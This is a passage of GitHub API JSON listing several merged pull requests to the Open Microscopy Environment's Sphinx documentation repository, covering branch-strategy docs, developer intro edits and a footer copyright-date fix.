27db9d37e419ac10cbf4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","starred_url":"https://api.github.com/users/sbesson/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/sbesson/gists{/gist_id}","gravatar_id":"8ea0fde1295027db9d37e419ac10cbf4","followers_url":"https://api.github.com/users/sbesson/followers","id":1355463,"repos_url":"https://api.github.com/users/sbesson/repos","subscriptions_url":"https://api.github.com/users/sbesson/subscriptions","following_url":"https://api.github.com/users/sbesson/following"},"open_issues":0,"updated_at":"2013-02-02T21:21:49Z","milestones_url":"https://api.github.com/repos/sbesson/ome-documentation/milestones{/number}","archive_url":"https://api.github.com/repos/sbesson/ome-documentation/{archive_format}{/ref}","stargazers_url":"https://api.github.com/repos/sbesson/ome-documentation/stargazers","branches_url":"https://api.github.com/repos/sbesson/ome-documentation/branches{/branch}","events_url":"https://api.github.com/repos/sbesson/ome-documentation/events","notifications_url":"https://api.github.com/repos/sbesson/ome-documentation/notifications{?since,all,participating}","comments_url":"https://api.github.com/repos/sbesson/ome-documentation/comments{/number}","commits_url":"https://api.github.com/repos/sbesson/ome-documentation/commits{/sha}","subscribers_url":"https://api.github.com/repos/sbesson/ome-documentation/subscribers","contributors_url":"https://api.github.com/repos/sbesson/ome-documentation/contributors","collaborators_url":"https://api.github.com/repos/sbesson/ome-documentation/collaborators{/collaborator}","full_name":"sbesson/ome-documentation","ssh_url":"git@github.com:sbesson/ome-documentation.git","pulls_url":"https://api.github.com/repos/sbesson/ome-documentation/pulls{/number}","issue_comment_url":"https://api.github.com/repos/sbesson/ome-documentation/issues/comments/{number}","blobs_url":"https://api.github.com/repos/sbesson/ome-documentation/git/blobs{/sha}","homepage":"http://openmicroscopy.org","has_wiki":true,"forks_count":0,"subscription_url":"https://api.github.com/repos/sbesson/ome-documentation/subscription","teams_url":"https://api.github.com/repos/sbesson/ome-documentation/teams","watchers":1,"created_at":"2012-08-22T08:57:59Z","git_url":"git://github.com/sbesson/ome-documentation.git","open_issues_count":0,"labels_url":"https://api.github.com/repos/sbesson/ome-documentation/labels{/name}","downloads_url":"https://api.github.com/repos/sbesson/ome-documentation/downloads","git_tags_url":"https://api.github.com/repos/sbesson/ome-documentation/git/tags{/sha}","keys_url":"https://api.github.com/repos/sbesson/ome-documentation/keys{/key_id}","size":608,"compare_url":"https://api.github.com/repos/sbesson/ome-documentation/compare/{base}...{head}","git_commits_url":"https://api.github.com/repos/sbesson/ome-documentation/git/commits{/sha}","tags_url":"https://api.github.com/repos/sbesson/ome-documentation/tags{/tag}","hooks_url":"https://api.github.com/repos/sbesson/ome-documentation/hooks","fork":true,"html_url":"https://github.com/sbesson/ome-documentation","master_branch":"dev_4_4","clone_url":"https://github.com/sbesson/ome-documentation.git","watchers_count":1,"git_refs_url":"https://api.github.com/repos/sbesson/ome-documentation/git/refs{/sha}","description":"Sphinx-based documentation for the Open Microscopy Environment ","name":"ome-documentation","language":"Python","contents_url":"https://api.github.com/repos/sbesson/ome-documentation/contents/{+path}","issue_events_url":"https://api.github.com/repos/sbesson/ome-documentation/issues/events{/number}","private":false,"id":5507021,"default_branch":"dev_4_4","pushed_at":"2013-02-01T15:04:17Z","has_issues":false,"mirror_url":null,"trees_url":"https://api.github.com/repos/sbesson/ome-documentation/git/trees{/sha}","forks_url":"https://api.github.com/repos/sbesson/ome-documentation/forks"},"sha":"432b6333c5411899f95537d3c89b75ecf165baa5","ref":"rebased/develop/continuous_integration"},"assignee":null,"updated_at":"2013-01-21T13:37:17Z","comments_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/220/comments","commits_url":"https://github.com/openmicroscopy/ome-documentation/pull/220/commits","closed_at":"2013-01-21T13:37:17Z","user":{"type":"User","url":"https://api.github.com/users/sbesson","received_events_url":"https://api.github.com/users/sbesson/received_events","login":"sbesson","events_url":"https://api.github.com/users/sbesson/events{/privacy}","organizations_url":"https://api.github.com/users/sbesson/orgs","avatar_url":"https://secure.gravatar.com/avatar/8ea0fde1295027db9d37e419ac10cbf4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","starred_url":"https://api.github.com/users/sbesson/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/sbesson/gists{/gist_id}","gravatar_id":"8ea0fde1295027db9d37e419ac10cbf4","followers_url":"https://api.github.com/users/sbesson/followers","id":1355463,"repos_url":"https://api.github.com/users/sbesson/repos","subscriptions_url":"https://api.github.com/users/sbesson/subscriptions","following_url":"https://api.github.com/users/sbesson/following"},"issue_url":"https://github.com/openmicroscopy/ome-documentation/issues/220","merged_at":"2013-01-21T13:37:17Z","merge_commit_sha":"f51f26057a5008b204554bb4e214d356825b92f1","created_at":"2013-01-18T17:27:26Z","review_comments_url":"https://github.com/openmicroscopy/ome-documentation/pull/220/comments","patch_url":"https://github.com/openmicroscopy/ome-documentation/pull/220.patch","html_url":"https://github.com/openmicroscopy/ome-documentation/pull/220","review_comment_url":"/repos/openmicroscopy/ome-documentation/pulls/comments/{number}","milestone":null,"body":"\n\nThis is the same as gh-196 but rebased onto develop.\n\n----\n\nThis PR converts the [Multiple development branch g.doc](https://docs.google.com/document/d/1LZkxRgzrfVcKttST2d1pNuViPXClb9ssD7Bvt1osRaQ/edit) into a proper Sphinx documentation page.\r\n\r\nObjectives of this document:\r\n- explain the dual development branch strategy\r\n- describe the main Jenkins jobs used for testing the current & next major release\r\n- introduce & describe some of the scc utility tools for managing branches & PRs\r\n\n\n ","diff_url":"https://github.com/openmicroscopy/ome-documentation/pull/220.diff","id":3742302,"base":{"user":null,"label":"openmicroscopy:develop","repo":{"forks":19,"svn_url":"https://github.com/openmicroscopy/ome-documentation","merges_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/merges","languages_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/languages","assignees_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/assignees{/user}","url":"https://api.github.com/repos/openmicroscopy/ome-documentation","has_downloads":true,"issues_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues{/number}","statuses_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/statuses/{sha}","owner":{"type":"Organization","url":"https://api.github.com/users/openmicroscopy","received_events_url":"https://api.github.com/users/openmicroscopy/received_events","login":"openmicroscopy","events_url":"https://api.github.com/users/openmicroscopy/events{/privacy}","organizations_url":"https://api.github.com/users/openmicroscopy/orgs","avatar_url":"https://secure.gravatar.com/avatar/7424190904f55023bd16416af0fd799b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-org-420.png","starred_url":"https://api.github.com/users/openmicroscopy/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/openmicroscopy/gists{/gist_id}","gravatar_id":"7424190904f55023bd16416af0fd799b","followers_url":"https://api.github.com/users/openmicroscopy/followers","id":975861,"repos_url":"https://api.github.com/users/openmicroscopy/repos","subscriptions_url":"https://api.github.com/users/openmicroscopy/subscriptions","following_url":"https://api.github.com/users/openmicroscopy/following"},"open_issues":3,"updated_at":"2013-02-01T11:04:39Z","milestones_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/milestones{/number}","archive_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/{archive_format}{/ref}","stargazers_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/stargazers","branches_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/branches{/branch}","events_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/events","notifications_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/notifications{?since,all,participating}","comments_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/comments{/number}","commits_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/commits{/sha}","subscribers_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/subscribers","contributors_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/contributors","collaborators_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/collaborators{/collaborator}","full_name":"openmicroscopy/ome-documentation","ssh_url":"git@github.com:openmicroscopy/ome-documentation.git","pulls_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls{/number}","issue_comment_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/comments/{number}","blobs_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/blobs{/sha}","homepage":"http://openmicroscopy.org","has_wiki":true,"forks_count":19,"subscription_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/subscription","teams_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/teams","watchers":9,"created_at":"2012-01-17T10:20:53Z","git_url":"git://github.com/openmicroscopy/ome-documentation.git","open_issues_count":3,"labels_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/labels{/name}","downloads_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/downloads","git_tags_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/tags{/sha}","keys_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/keys{/key_id}","size":488,"compare_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/compare/{base}...{head}","git_commits_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/commits{/sha}","tags_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/tags{/tag}","hooks_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/hooks","fork":false,"html_url":"https://github.com/openmicroscopy/ome-documentation","master_branch":"develop","clone_url":"https://github.com/openmicroscopy/ome-documentation.git","watchers_count":9,"git_refs_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/refs{/sha}","description":"Sphinx-based documentation for the Open Microscopy Environment ","name":"ome-documentation","language":"Python","contents_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/contents/{+path}","issue_events_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/events{/number}","private":false,"id":3198415,"default_branch":"develop","pushed_at":"2013-02-01T11:04:38Z","has_issues":true,"mirror_url":null,"trees_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/trees{/sha}","forks_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/forks"},"sha":"136309257792c0f721d9eda8a6e64d6631c4fcc8","ref":"develop"}},{"_links":{"comments":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/219/comments"},"issue":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/219"},"html":{"href":"https://github.com/openmicroscopy/ome-documentation/pull/219"},"self":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls/219"},"review_comments":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls/219/comments"}},"title":"Editing developer intro pages","state":"closed","number":219,"url":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls/219","head":{"user":{"type":"User","url":"https://api.github.com/users/hflynn","received_events_url":"https://api.github.com/users/hflynn/received_events","login":"hflynn","events_url":"https://api.github.com/users/hflynn/events{/privacy}","organizations_url":"https://api.github.com/users/hflynn/orgs","avatar_url":"https://secure.gravatar.com/avatar/0ee126d1abcd3c5b4f178b8d77af95ae?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","starred_url":"https://api.github.com/users/hflynn/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/hflynn/gists{/gist_id}","gravatar_id":"0ee126d1abcd3c5b4f178b8d77af95ae","followers_url":"https://api.github.com/users/hflynn/followers","id":2368904,"repos_url":"https://api.github.com/users/hflynn/repos","subscriptions_url":"https://api.github.com/users/hflynn/subscriptions","following_url":"https://api.github.com/users/hflynn/following"},"label":"hflynn:10212-fix","repo":{"forks":0,"svn_url":"https://github.com/hflynn/ome-documentation","merges_url":"https://api.github.com/repos/hflynn/ome-documentation/merges","languages_url":"https://api.github.com/repos/hflynn/ome-documentation/languages","assignees_url":"https://api.github.com/repos/hflynn/ome-documentation/assignees{/user}","url":"https://api.github.com/repos/hflynn/ome-documentation","has_downloads":true,"issues_url":"https://api.github.com/repos/hflynn/ome-documentation/issues{/number}","statuses_url":"https://api.github.com/repos/hflynn/ome-documentation/statuses/{sha}","owner":{"type":"User","url":"https://api.github.com/users/hflynn","received_events_url":"https://api.github.com/users/hflynn/received_events","login":"hflynn","events_url":"https://api.github.com/users/hflynn/events{/privacy}","organizations_url":"https://api.github.com/users/hflynn/orgs","avatar_url":"https://secure.gravatar.com/avatar/0ee126d1abcd3c5b4f178b8d77af95ae?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","starred_url":"https://api.github.com/users/hflynn/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/hflynn/gists{/gist_id}","gravatar_id":"0ee126d1abcd3c5b4f178b8d77af95ae","followers_url":"https://api.github.com/users/hflynn/followers","id":2368904,"repos_url":"https://api.github.com/users/hflynn/repos","subscriptions_url":"https://api.github.com/users/hflynn/subscriptions","following_url":"https://api.github.com/users/hflynn/following"},"open_issues":0,"updated_at":"2013-02-01T17:31:59Z","milestones_url":"https://api.github.com/repos/hflynn/ome-documentation/milestones{/number}","archive_url":"https://api.github.com/repos/hflynn/ome-documentation/{archive_format}{/ref}","stargazers_url":"https://api.github.com/repos/hflynn/ome-documentation/stargazers","branches_url":"https://api.github.com/repos/hflynn/ome-documentation/branches{/branch}","events_url":"https://api.github.com/repos/hflynn/ome-documentation/events","notifications_url":"https://api.github.com/repos/hflynn/ome-documentation/notifications{?since,all,participating}","comments_url":"https://api.github.com/repos/hflynn/ome-documentation/comments{/number}","commits_url":"https://api.github.com/repos/hflynn/ome-documentation/commits{/sha}","subscribers_url":"https://api.github.com/repos/hflynn/ome-documentation/subscribers","contributors_url":"https://api.github.com/repos/hflynn/ome-documentation/contributors","collaborators_url":"https://api.github.com/repos/hflynn/ome-documentation/collaborators{/collaborator}","full_name":"hflynn/ome-documentation","ssh_url":"git@github.com:hflynn/ome-documentation.git","pulls_url":"https://api.github.com/repos/hflynn/ome-documentation/pulls{/number}","issue_comment_url":"https://api.github.com/repos/hflynn/ome-documentation/issues/comments/{number}","blobs_url":"https://api.github.com/repos/hflynn/ome-documentation/git/blobs{/sha}","homepage":"http://openmicroscopy.org","has_wiki":true,"forks_count":0,"subscription_url":"https://api.github.com/repos/hflynn/ome-documentation/subscription","teams_url":"https://api.github.com/repos/hflynn/ome-documentation/teams","watchers":0,"created_at":"2012-09-18T09:22:07Z","git_url":"git://github.com/hflynn/ome-documentation.git","open_issues_count":0,"labels_url":"https://api.github.com/repos/hflynn/ome-documentation/labels{/name}","downloads_url":"https://api.github.com/repos/hflynn/ome-documentation/downloads","git_tags_url":"https://api.github.com/repos/hflynn/ome-documentation/git/tags{/sha}","keys_url":"https://api.github.com/repos/hflynn/ome-documentation/keys{/key_id}","size":340,"compare_url":"https://api.github.com/repos/hflynn/ome-documentation/compare/{base}...{head}","git_commits_url":"https://api.github.com/repos/hflynn/ome-documentation/git/commits{/sha}","tags_url":"https://api.github.com/repos/hflynn/ome-documentation/tags{/tag}","hooks_url":"https://api.github.com/repos/hflynn/ome-documentation/hooks","fork":true,"html_url":"https://github.com/hflynn/ome-documentation","master_branch":"develop","clone_url":"https://github.com/hflynn/ome-documentation.git","watchers_count":0,"git_refs_url":"https://api.github.com/repos/hflynn/ome-documentation/git/refs{/sha}","description":"Sphinx-based documentation for the Open Microscopy Environment ","name":"ome-documentation","language":"Python","contents_url":"https://api.github.com/repos/hflynn/ome-documentation/contents/{+path}","issue_events_url":"https://api.github.com/repos/hflynn/ome-documentation/issues/events{/number}","private":false,"id":5853981,"default_branch":"develop","pushed_at":"2013-02-01T17:31:59Z","has_issues":false,"mirror_url":null,"trees_url":"https://api.github.com/repos/hflynn/ome-documentation/git/trees{/sha}","forks_url":"https://api.github.com/repos/hflynn/ome-documentation/forks"},"sha":"da1e4f93f741fd561c26b904d87f1962f82b9762","ref":"10212-fix"},"assignee":null,"updated_at":"2013-01-22T18:17:14Z","comments_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/219/comments","commits_url":"https://github.com/openmicroscopy/ome-documentation/pull/219/commits","closed_at":"2013-01-22T18:17:14Z","user":{"type":"User","url":"https://api.github.com/users/hflynn","received_events_url":"https://api.github.com/users/hflynn/received_events","login":"hflynn","events_url":"https://api.github.com/users/hflynn/events{/privacy}","organizations_url":"https://api.github.com/users/hflynn/orgs","avatar_url":"https://secure.gravatar.com/avatar/0ee126d1abcd3c5b4f178b8d77af95ae?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","starred_url":"https://api.github.com/users/hflynn/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/hflynn/gists{/gist_id}","gravatar_id":"0ee126d1abcd3c5b4f178b8d77af95ae","followers_url":"https://api.github.com/users/hflynn/followers","id":2368904,"repos_url":"https://api.github.com/users/hflynn/repos","subscriptions_url":"https://api.github.com/users/hflynn/subscriptions","following_url":"https://api.github.com/users/hflynn/following"},"issue_url":"https://github.com/openmicroscopy/ome-documentation/issues/219","merged_at":"2013-01-22T18:17:14Z","merge_commit_sha":"b975c011df85c43237f810b7c03472c37b1249d4","created_at":"2013-01-18T12:13:33Z","review_comments_url":"https://github.com/openmicroscopy/ome-documentation/pull/219/comments","patch_url":"https://github.com/openmicroscopy/ome-documentation/pull/219.patch","html_url":"https://github.com/openmicroscopy/ome-documentation/pull/219","review_comment_url":"/repos/openmicroscopy/ome-documentation/pulls/comments/{number}","milestone":null,"body":"See tickets 10212 & 10199 ","diff_url":"https://github.com/openmicroscopy/ome-documentation/pull/219.diff","id":3737282,"base":{"user":null,"label":"openmicroscopy:dev_4_4","repo":{"forks":19,"svn_url":"https://github.com/openmicroscopy/ome-documentation","merges_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/merges","languages_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/languages","assignees_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/assignees{/user}","url":"https://api.github.com/repos/openmicroscopy/ome-documentation","has_downloads":true,"issues_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues{/number}","statuses_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/statuses/{sha}","owner":{"type":"Organization","url":"https://api.github.com/users/openmicroscopy","received_events_url":"https://api.github.com/users/openmicroscopy/received_events","login":"openmicroscopy","events_url":"https://api.github.com/users/openmicroscopy/events{/privacy}","organizations_url":"https://api.github.com/users/openmicroscopy/orgs","avatar_url":"https://secure.gravatar.com/avatar/7424190904f55023bd16416af0fd799b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-org-420.png","starred_url":"https://api.github.com/users/openmicroscopy/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/openmicroscopy/gists{/gist_id}","gravatar_id":"7424190904f55023bd16416af0fd799b","followers_url":"https://api.github.com/users/openmicroscopy/followers","id":975861,"repos_url":"https://api.github.com/users/openmicroscopy/repos","subscriptions_url":"https://api.github.com/users/openmicroscopy/subscriptions","following_url":"https://api.github.com/users/openmicroscopy/following"},"open_issues":3,"updated_at":"2013-02-01T11:04:39Z","milestones_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/milestones{/number}","archive_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/{archive_format}{/ref}","stargazers_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/stargazers","branches_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/branches{/branch}","events_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/events","notifications_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/notifications{?since,all,participating}","comments_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/comments{/number}","commits_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/commits{/sha}","subscribers_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/subscribers","contributors_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/contributors","collaborators_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/collaborators{/collaborator}","full_name":"openmicroscopy/ome-documentation","ssh_url":"git@github.com:openmicroscopy/ome-documentation.git","pulls_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls{/number}","issue_comment_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/comments/{number}","blobs_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/blobs{/sha}","homepage":"http://openmicroscopy.org","has_wiki":true,"forks_count":19,"subscription_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/subscription","teams_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/teams","watchers":9,"created_at":"2012-01-17T10:20:53Z","git_url":"git://github.com/openmicroscopy/ome-documentation.git","open_issues_count":3,"labels_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/labels{/name}","downloads_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/downloads","git_tags_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/tags{/sha}","keys_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/keys{/key_id}","size":488,"compare_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/compare/{base}...{head}","git_commits_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/commits{/sha}","tags_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/tags{/tag}","hooks_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/hooks","fork":false,"html_url":"https://github.com/openmicroscopy/ome-documentation","master_branch":"develop","clone_url":"https://github.com/openmicroscopy/ome-documentation.git","watchers_count":9,"git_refs_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/refs{/sha}","description":"Sphinx-based documentation for the Open Microscopy Environment ","name":"ome-documentation","language":"Python","contents_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/contents/{+path}","issue_events_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/events{/number}","private":false,"id":3198415,"default_branch":"develop","pushed_at":"2013-02-01T11:04:38Z","has_issues":true,"mirror_url":null,"trees_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/trees{/sha}","forks_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/forks"},"sha":"1843d7a435646ed07dd56821b5d9ba02105cd716","ref":"dev_4_4"}},{"_links":{"comments":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/218/comments"},"issue":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/218"},"html":{"href":"https://github.com/openmicroscopy/ome-documentation/pull/218"},"self":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls/218"},"review_comments":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls/218/comments"}},"title":"Make the copyright date the current year (rebased onto develop)","state":"closed","number":218,"url":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls/218","head":{"user":{"type":"User","url":"https://api.github.com/users/bpindelski","received_events_url":"https://api.github.com/users/bpindelski/received_events","login":"bpindelski","events_url":"https://api.github.com/users/bpindelski/events{/privacy}","organizations_url":"https://api.github.com/users/bpindelski/orgs","avatar_url":"https://secure.gravatar.com/avatar/3c0a5e3c2c6d2f8117bbe6e08c930874?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","starred_url":"https://api.github.com/users/bpindelski/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/bpindelski/gists{/gist_id}","gravatar_id":"3c0a5e3c2c6d2f8117bbe6e08c930874","followers_url":"https://api.github.com/users/bpindelski/followers","id":1692189,"repos_url":"https://api.github.com/users/bpindelski/repos","subscriptions_url":"https://api.github.com/users/bpindelski/subscriptions","following_url":"https://api.github.com/users/bpindelski/following"},"label":"bpindelski:rebased/develop/doc-date","repo":{"forks":1,"svn_url":"https://github.com/bpindelski/ome-documentation","merges_url":"https://api.github.com/repos/bpindelski/ome-documentation/merges","languages_url":"https://api.github.com/repos/bpindelski/ome-documentation/languages","assignees_url":"https://api.github.com/repos/bpindelski/ome-documentation/assignees{/user}","url":"https://api.github.com/repos/bpindelski/ome-documentation","has_downloads":true,"issues_url":"https://api.github.com/repos/bpindelski/ome-documentation/issues{/number}","statuses_url":"https://api.github.com/repos/bpindelski/ome-documentation/statuses/{sha}","owner":{"type":"User","url":"https://api.github.com/users/bpindelski","received_events_url":"https://api.github.com/users/bpindelski/received_events","login":"bpindelski","events_url":"https://api.github.com/users/bpindelski/events{/privacy}","organizations_url":"https://api.github.com/users/bpindelski/orgs","avatar_url":"https://secure.gravatar.com/avatar/3c0a5e3c2c6d2f8117bbe6e08c930874?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","starred_url":"https://api.github.com/users/bpindelski/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/bpindelski/gists{/gist_id}","gravatar_id":"3c0a5e3c2c6d2f8117bbe6e08c930874","followers_url":"https://api.github.com/users/bpindelski/followers","id":1692189,"repos_url":"https://api.github.com/users/bpindelski/repos","subscriptions_url":"https://api.github.com/users/bpindelski/subscriptions","following_url":"https://api.github.com/users/bpindelski/following"},"open_issues":0,"updated_at":"2013-01-22T10:13:55Z","milestones_url":"https://api.github.com/repos/bpindelski/ome-documentation/milestones{/number}","archive_url":"https://api.github.com/repos/bpindelski/ome-documentation/{archive_format}{/ref}","stargazers_url":"https://api.github.com/repos/bpindelski/ome-documentation/stargazers","branches_url":"https://api.github.com/repos/bpindelski/ome-documentation/branches{/branch}","events_url":"https://api.github.com/repos/bpindelski/ome-documentation/events","notifications_url":"https://api.github.com/repos/bpindelski/ome-documentation/notifications{?since,all,participating}","comments_url":"https://api.github.com/repos/bpindelski/ome-documentation/comments{/number}","commits_url":"https://api.github.com/repos/bpindelski/ome-documentation/commits{/sha}","subscribers_url":"https://api.github.com/repos/bpindelski/ome-documentation/subscribers","contributors_url":"https://api.github.com/repos/bpindelski/ome-documentation/contributors","collaborators_url":"https://api.github.com/repos/bpindelski/ome-documentation/collaborators{/collaborator}","full_name":"bpindelski/ome-documentation","ssh_url":"git@github.com:bpindelski/ome-documentation.git","pulls_url":"https://api.github.com/repos/bpindelski/ome-documentation/pulls{/number}","issue_comment_url":"https://api.github.com/repos/bpindelski/ome-documentation/issues/comments/{number}","blobs_url":"https://api.github.com/repos/bpindelski/ome-documentation/git/blobs{/sha}","homepage":"http://openmicroscopy.org","has_wiki":true,"forks_count":1,"subscription_url":"https://api.github.com/repos/bpindelski/ome-documentation/subscription","teams_url":"https://api.github.com/repos/bpindelski/ome-documentation/teams","watchers":0,"created_at":"2012-08-14T09:55:03Z","git_url":"git://github.com/bpindelski/ome-documentation.git","open_issues_count":0,"labels_url":"https://api.github.com/repos/bpindelski/ome-documentation/labels{/name}","downloads_url":"https://api.github.com/repos/bpindelski/ome-documentation/downloads","git_tags_url":"https://api.github.com/repos/bpindelski/ome-documentation/git/tags{/sha}","keys_url":"https://api.github.com/repos/bpindelski/ome-documentation/keys{/key_id}","size":280,"compare_url":"https://api.github.com/repos/bpindelski/ome-documentation/compare/{base}...{head}","git_commits_url":"https://api.github.com/repos/bpindelski/ome-documentation/git/commits{/sha}","tags_url":"https://api.github.com/repos/bpindelski/ome-documentation/tags{/tag}","hooks_url":"https://api.github.com/repos/bpindelski/ome-documentation/hooks","fork":true,"html_url":"https://github.com/bpindelski/ome-documentation","clone_url":"https://github.com/bpindelski/ome-documentation.git","watchers_count":0,"git_refs_url":"https://api.github.com/repos/bpindelski/ome-documentation/git/refs{/sha}","description":"Sphinx-based documentation for the Open Microscopy Environment ","name":"ome-documentation","language":"Python","contents_url":"https://api.github.com/repos/bpindelski/ome-documentation/contents/{+path}","issue_events_url":"https://api.github.com/repos/bpindelski/ome-documentation/issues/events{/number}","private":false,"id":5411049,"pushed_at":"2013-01-22T10:13:53Z","has_issues":false,"mirror_url":null,"trees_url":"https://api.github.com/repos/bpindelski/ome-documentation/git/trees{/sha}","forks_url":"https://api.github.com/repos/bpindelski/ome-documentation/forks"},"sha":"f224736c38ee147e7ac6998c65abb801b0ca372c","ref":"rebased/develop/doc-date"},"assignee":null,"updated_at":"2013-01-21T22:24:16Z","comments_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/218/comments","commits_url":"https://github.com/openmicroscopy/ome-documentation/pull/218/commits","closed_at":"2013-01-21T22:24:16Z","user":{"type":"User","url":"https://api.github.com/users/bpindelski","received_events_url":"https://api.github.com/users/bpindelski/received_events","login":"bpindelski","events_url":"https://api.github.com/users/bpindelski/events{/privacy}","organizations_url":"https://api.github.com/users/bpindelski/orgs","avatar_url":"https://secure.gravatar.com/avatar/3c0a5e3c2c6d2f8117bbe6e08c930874?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","starred_url":"https://api.github.com/users/bpindelski/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/bpindelski/gists{/gist_id}","gravatar_id":"3c0a5e3c2c6d2f8117bbe6e08c930874","followers_url":"https://api.github.com/users/bpindelski/followers","id":1692189,"repos_url":"https://api.github.com/users/bpindelski/repos","subscriptions_url":"https://api.github.com/users/bpindelski/subscriptions","following_url":"https://api.github.com/users/bpindelski/following"},"issue_url":"https://github.com/openmicroscopy/ome-documentation/issues/218","merged_at":"2013-01-21T22:24:16Z","merge_commit_sha":"5475fe1afba8be953a27ead4d6e77fd34ced6e48","created_at":"2013-01-18T09:09:27Z","review_comments_url":"https://github.com/openmicroscopy/ome-documentation/pull/218/comments","patch_url":"https://github.com/openmicroscopy/ome-documentation/pull/218.patch","html_url":"https://github.com/openmicroscopy/ome-documentation/pull/218","review_comment_url":"/repos/openmicroscopy/ome-documentation/pulls/comments/{number}","milestone":null,"body":"\n\nThis is the same as gh-215 but rebased onto develop.\n\n----\n\nAs @hflynn noticed, the date in the documentation footer was a static string. 